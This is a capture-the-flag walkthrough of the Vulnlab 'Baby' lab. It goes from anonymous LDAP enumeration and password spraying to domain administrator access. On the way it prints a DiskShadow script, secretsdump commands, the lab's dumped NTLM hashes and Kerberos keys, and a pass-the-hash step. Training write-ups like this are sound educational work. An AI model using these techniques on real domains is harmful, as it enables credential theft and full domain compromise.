Skip to content

Baby Walkthrough

Lab Name: Baby
Difficulty: Easy
Platform: Vulnlab

In Baby, we work from anonymous Active Directory enumeration to domain administrator access. The path uses exposed credentials, a password-change requirement, and Backup Operators privileges.


We start by checking which services are exposed. The results help us identify whether the target is a workstation, server, or Domain Controller.

We use RustScan to find open ports and pass them to Nmap for service enumeration.

image.png

From the scan results, several ports immediately stand out:

  • 389 (LDAP)
  • 445 (SMB)
  • 88 (Kerberos)

These services strongly indicate that the target is part of an Active Directory environment, and very likely a Domain Controller.

image.png

  • Nmap also reveals the domain name and Domain Controller hostname. Many Active Directory attacks depend on name resolution for these hosts.
  • To avoid issues later (especially with Kerberos-based tools), the domain information is added to /etc/hosts.

image.png

We check SMB for anonymous or guest access, a common oversight in Windows environments.

image.png

In this case:

  • No anonymous access is available
  • No guest-accessible shares are exposed

With neither anonymous nor guest SMB access available, we move on to LDAP.

LDAP can expose directory information through anonymous binds, even when SMB access is restricted.

We query the directory using ldapsearch without credentials.

image.png

image.png

We find a password in the user description:

  • Teresa.Bell’s description attribute contains what appears to be the plaintext password used when the account was created in the tenant.
  • Administrators sometimes leave temporary passwords in user descriptions. These attributes may be readable by other users or through anonymous LDAP access.

Verify Access:

We test the exposed password before assuming it gives us access.

image.png

  • Authentication fails for this user.
  • We can still try the password against the other domain accounts.

We use awk to clean up the usernames from LDAP enumeration and build a user list.

image.png

We spray the password using NetExec (nxc).

image.png

No login succeeds, but one account returns a different response:

  • STATUS_PASSWORD_MUST_CHANGE

This indicates that the account uses the password we found but requires a password change.

Why this matters

When administrators set or reset passwords, accounts are often marked with:

  • User must change password at next logon

This prevents normal authentication but still allows password change operations.

We use smbpasswd to change the password on the account that requires a reset.

  • I also tried rpcclient and net rpc, but they did not work here because they use a different password-reset protocol.

image.png

Verify Access:

image.png

  • Authentication works! We now have valid domain credentials.

We collect Active Directory object relationships with the working credentials and import them into BloodHound.

image.png

  • This allows visualization of group memberships, privileges, and attack paths that are otherwise difficult to identify manually.

image.png

  • BloodHound shows that the user belongs to Remote Management Users, so we can connect using Evil-WinRM.

We use Evil-WinRM to open an interactive shell.

image.png

image.png

  • We retrieve the user flag from the user’s desktop.

We check the compromised user’s local privileges for an escalation path.

image.png

The user is a member of the Backup Operators group.

Why this is dangerous

Backup Operators have:

  • SeBackupPrivilege
  • SeRestorePrivilege

These allow reading sensitive system files without Administrator access, including:

  • Registry hives
  • NTDS.dit (Active Directory database)

A stable interactive session helps with privilege escalation. A C2 framework also provides session management and post-exploitation capabilities.

I used Sliver to generate and deliver the payload.

  • Note: I encountered some issues using Evil-WinRM. Since I have been learning Sliver recently, I used it here to test my understanding. You can use Evil-WinRM instead if it works correctly in your setup.

image.png

We generate a stageless Windows payload. It is self-contained, so execution has fewer network dependencies in this lab.

Setting up the listener:

We start a Sliver listener to receive connections from the compromised host before delivering the payload.

image.png

Hosting and Delivering the Payload

image.png

image.png

  • We download and execute the stageless payload on the target, which connects back to the Sliver listener.

The payload executes and opens a reverse shell session.

image.png

We have an interactive session as Caroline.Robinson and can continue local enumeration.

3.3 Privilege Escalation via SeBackupPrivilege

Section titled “3.3 Privilege Escalation via SeBackupPrivilege”

Creating a Shadow Copy of the C: Drive

We use a DiskShadow script to create a live snapshot of the system drive. The script tells DiskShadow to:

  • Enable verbose output for visibility
  • Store backup metadata
  • Create a persistent, client-accessible shadow copy
  • Snapshot the C: volume
  • Expose the snapshot as a new drive letter (E:)

DiskShadow Script

set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create
expose %cdrive% E:
end backup

We save the script to a file, such as backup.txt, and run it with DiskShadow:

Terminal window
diskshadow /s backup.txt

DiskShadow reads and executes the instructions in the script.

image.png

Terminal window
PS C:\Temp> diskshadow /s backup.txt
diskshadow /s backup.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: BABYDC, 1/18/2026 8:50:58 PM
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create
Excluding writer "Shadow Copy Optimization Writer", because all of its components have been excluded.
* Including writer "Task Scheduler Writer":
+ Adding component: \TasksStore
* Including writer "VSS Metadata Store Writer":
+ Adding component: \WriterMetadataStore
* Including writer "Performance Counters Writer":
+ Adding component: \PerformanceCounters
* Including writer "System Writer":
+ Adding component: \System Files
+ Adding component: \Win32 Services Files
* Including writer "DFS Replication service writer":
+ Adding component: \SYSVOL\8D6E7361-AC28-4EC5-9914-ACB6AE407BCB-2EB58465-8BD4-4748-9135-FE1B23D5A20B * Including writer "Registry Writer":
+ Adding component: \Registry
* Including writer "NTDS":
+ Adding component: \C:_Windows_NTDS\ntds
* Including writer "ASR Writer":
+ Adding component: \ASR\ASR
+ Adding component: \Volumes\Volume{1b77e212-0000-0000-0000-100000000000}
+ Adding component: \Disks\harddisk0
+ Adding component: \BCD\BCD
* Including writer "COM+ REGDB Writer":
+ Adding component: \COM+ REGDB
* Including writer "WMI Writer":
+ Adding component: \WMI
Alias cdrive for shadow ID {b18c0626-bcf3-4a8e-9777-28c93eeb38af} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {61a635bb-c908-4be5-ae81-b6053b48c681} set as environment variable.
Inserted file Manifest.xml into .cab file meta.cab
Inserted file BCDocument.xml into .cab file meta.cab
Inserted file WM0.xml into .cab file meta.cab
Inserted file WM1.xml into .cab file meta.cab
Inserted file WM2.xml into .cab file meta.cab
Inserted file WM3.xml into .cab file meta.cab
Inserted file WM4.xml into .cab file meta.cab
Inserted file WM5.xml into .cab file meta.cab
Inserted file WM6.xml into .cab file meta.cab
Inserted file WM7.xml into .cab file meta.cab
Inserted file WM8.xml into .cab file meta.cab
Inserted file WM9.xml into .cab file meta.cab
Inserted file WM10.xml into .cab file meta.cab
Inserted file DisEDD1.tmp into .cab file meta.cab
Querying all shadow copies with the shadow copy set ID {61a635bb-c908-4be5-ae81-b6053b48c681}
* Shadow copy ID = {b18c0626-bcf3-4a8e-9777-28c93eeb38af} %cdrive%
- Shadow copy set: {61a635bb-c908-4be5-ae81-b6053b48c681} %VSS_SHADOW_SET%
- Original count of shadow copies = 1
- Original volume name: \\?\Volume{1b77e212-0000-0000-0000-100000000000}\ [C:\]
- Creation time: 1/18/2026 8:51:16 PM
- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
- Originating machine: BabyDC.baby.vl
- Service machine: BabyDC.baby.vl
- Not exposed
- Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
- Attributes: No_Auto_Release Persistent Differential
Number of shadow copies listed: 1
expose %cdrive% E:
%cdrive% = {b18c0626-bcf3-4a8e-9777-28c93eeb38af}
The shadow copy was successfully exposed as E:\.
end backup
Output
END { BACKUP | RESTORE }
BACKUP Ends a full backup operation.
RESTORE Ends a restore operation.
Note: END BACKUP was not commanded, writers not notified BackupComplete.
DiskShadow is exiting.

3.5 Extracting NTDS.dit and Registry Hives

Section titled “3.5 Extracting NTDS.dit and Registry Hives”

With the shadow copy mounted, we copy:

  • NTDS.dit
  • SYSTEM registry hive

image.png

These files contain all Active Directory credentials!!

We process the extracted files using Impacket’s secretsdump.

Terminal window
igris@pentest ~/Labs/on-prem/vulnlab/baby
impacket-secretsdump -ntds ntds.dit -system system.hive -hashes lmhash:nthash LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 41d56bf9b458d01951f592ee4ba00ea6
Terminal window
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee4457ae59f1e3fbd764e33d9cef123d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1000:aad3b435b51404eeaad3b435b51404ee:74bbd9eed8485881e099595917fbd3d7:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6da4842e8c24b99ad21a92d620893884:::
baby.vl\Jacqueline.Barnett:1104:aad3b435b51404eeaad3b435b51404ee:20b8853f7aa61297bfbc5ed2ab34aed8:::
baby.vl\Ashley.Webb:1105:aad3b435b51404eeaad3b435b51404ee:02e8841e1a2c6c0fa1f0becac4161f89:::
baby.vl\Hugh.George:1106:aad3b435b51404eeaad3b435b51404ee:f0082574cc663783afdbc8f35b6da3a1:::
baby.vl\Leonard.Dyer:1107:aad3b435b51404eeaad3b435b51404ee:b3b2f9c6640566d13bf25ac448f560d2:::
baby.vl\Ian.Walker:1108:aad3b435b51404eeaad3b435b51404ee:0e440fd30bebc2c524eaaed6b17bcd5c:::
baby.vl\Connor.Wilkinson:1110:aad3b435b51404eeaad3b435b51404ee:e125345993f6258861fb184f1a8522c9:::
baby.vl\Joseph.Hughes:1112:aad3b435b51404eeaad3b435b51404ee:31f12d52063773769e2ea5723e78f17f:::
baby.vl\Kerry.Wilson:1113:aad3b435b51404eeaad3b435b51404ee:181154d0dbea8cc061731803e601d1e4:::
baby.vl\Teresa.Bell:1114:aad3b435b51404eeaad3b435b51404ee:7735283d187b758f45c0565e22dc20d8:::
baby.vl\Caroline.Robinson:1115:aad3b435b51404eeaad3b435b51404ee:8b57d5a8232b256ad6b3c5ef804efaca:::
[*] Kerberos keys from ntds.dit
Administrator:aes256-cts-hmac-sha1-96:ad08cbabedff5acb70049bef721524a23375708cadefcb788704ba00926944f4
Administrator:aes128-cts-hmac-sha1-96:ac7aa518b36d5ea26de83c8d6aa6714d
Administrator:des-cbc-md5:d38cb994ae806b97
:aes256-cts-hmac-sha1-96:77d24dddf60cc664e522d0e12685268423c286f6d811c32a3da82ef6ca14de78
:aes128-cts-hmac-sha1-96:d0020f4ea57475c9be541c4440e4ef8a
:des-cbc-md5:6d52dc26dc43b58c
krbtgt:aes256-cts-hmac-sha1-96:9c578fe1635da9e96eb60ad29e4e4ad90fdd471ea4dff40c0c4fce290a313d97
krbtgt:aes128-cts-hmac-sha1-96:1541c9f79887b4305064ddae9ba09e14
krbtgt:des-cbc-md5:d57383f1b3130de5
baby.vl\Jacqueline.Barnett:aes256-cts-hmac-sha1-96:851185add791f50bcdc027e0a0385eadaa68ac1ca127180a7183432f8260e084
baby.vl\Jacqueline.Barnett:aes128-cts-hmac-sha1-96:3abb8a49cf283f5b443acb239fd6f032
baby.vl\Jacqueline.Barnett:des-cbc-md5:01df1349548a206b
baby.vl\Ashley.Webb:aes256-cts-hmac-sha1-96:fc119502b9384a8aa6aff3ad659aa63bab9ebb37b87564303035357d10fa1039
baby.vl\Ashley.Webb:aes128-cts-hmac-sha1-96:81f5f99fd72fadd005a218b96bf17528
baby.vl\Ashley.Webb:des-cbc-md5:9267976186c1320e
baby.vl\Hugh.George:aes256-cts-hmac-sha1-96:0ea359386edf3512d71d3a3a2797a75db3168d8002a6929fd242eb7503f54258
baby.vl\Hugh.George:aes128-cts-hmac-sha1-96:50b966bdf7c919bfe8e85324424833dc
baby.vl\Hugh.George:des-cbc-md5:296bec86fd323b3e
baby.vl\Leonard.Dyer:aes256-cts-hmac-sha1-96:6d8fd945f9514fe7a8bbb11da8129a6e031fb504aa82ba1e053b6f51b70fdddd
baby.vl\Leonard.Dyer:aes128-cts-hmac-sha1-96:35fd9954c003efb73ded2fde9fc00d5a
baby.vl\Leonard.Dyer:des-cbc-md5:022313dce9a252c7
baby.vl\Ian.Walker:aes256-cts-hmac-sha1-96:54affe14ed4e79d9c2ba61713ef437c458f1f517794663543097ff1c2ae8a784
baby.vl\Ian.Walker:aes128-cts-hmac-sha1-96:78dbf35d77f29de5b7505ee88aef23df
baby.vl\Ian.Walker:des-cbc-md5:bcb094c2012f914c
baby.vl\Connor.Wilkinson:aes256-cts-hmac-sha1-96:55b0af76098dfe3731550e04baf1f7cb5b6da00de24c3f0908f4b2a2ea44475e
baby.vl\Connor.Wilkinson:aes128-cts-hmac-sha1-96:9d4af8203b2f9e3ecf64c1cbbcf8616b
baby.vl\Connor.Wilkinson:des-cbc-md5:fda762e362ab7ad3
baby.vl\Joseph.Hughes:aes256-cts-hmac-sha1-96:2e5f25b14f3439bfc901d37f6c9e4dba4b5aca8b7d944957651655477d440d41
baby.vl\Joseph.Hughes:aes128-cts-hmac-sha1-96:39fa92e8012f1b3f7be63c7ca9fd6723
baby.vl\Joseph.Hughes:des-cbc-md5:02f1cd9e52e0f245
baby.vl\Kerry.Wilson:aes256-cts-hmac-sha1-96:db5f7da80e369ee269cd5b0dbaea74bf7f7c4dfb3673039e9e119bd5518ea0fb
baby.vl\Kerry.Wilson:aes128-cts-hmac-sha1-96:aebbe6f21c76460feeebea188affbe01
baby.vl\Kerry.Wilson:des-cbc-md5:1f191c8c49ce07fe
baby.vl\Teresa.Bell:aes256-cts-hmac-sha1-96:8bb9cf1637d547b31993d9b0391aa9f771633c8f2ed8dd7a71f2ee5b5c58fc84
baby.vl\Teresa.Bell:aes128-cts-hmac-sha1-96:99bf021e937e1291cc0b6e4d01d96c66
baby.vl\Teresa.Bell:des-cbc-md5:4cbcdc3de6b50ee9
baby.vl\Caroline.Robinson:aes256-cts-hmac-sha1-96:10f1fafbf5092796f429c138cc3c3fa48bf788cc7b5f386a521c5422af691c58
baby.vl\Caroline.Robinson:aes128-cts-hmac-sha1-96:266e07089e8a7a594b7e2c997d629cf9
baby.vl\Caroline.Robinson:des-cbc-md5:e601ad492f3e979b
[*] Cleaning up...

The output reveals:

  • NTLM hashes for all domain users
  • Kerberos keys
  • The Domain Administrator NTLM hash

We authenticate via Pass-the-Hash with the recovered Administrator hash.

image.png

Authentication works, giving us Domain Administrator access.

We retrieve and submit the root flag.


  • Initial access was achieved through anonymous LDAP enumeration, which exposed plaintext credentials in the description field for the user Teresa.Bell.
  • The exposed password matched an account that required a password change. Knowing its current password let us use smbpasswd to set a new one; the password-change requirement alone was not an authorization bypass.
  • Valid credentials were obtained for Caroline.Robinson, who was a member of the Backup Operators group.
  • Backup access let us retrieve NTDS.dit and the SYSTEM registry hive from the Domain Controller. NTDS.dit is the directory database, not a registry hive.
  • Domain hashes were dumped using secretsdump, and a Pass-the-Hash attack was performed to authenticate as Administrator, resulting in full domain compromise and retrieval of the root flag.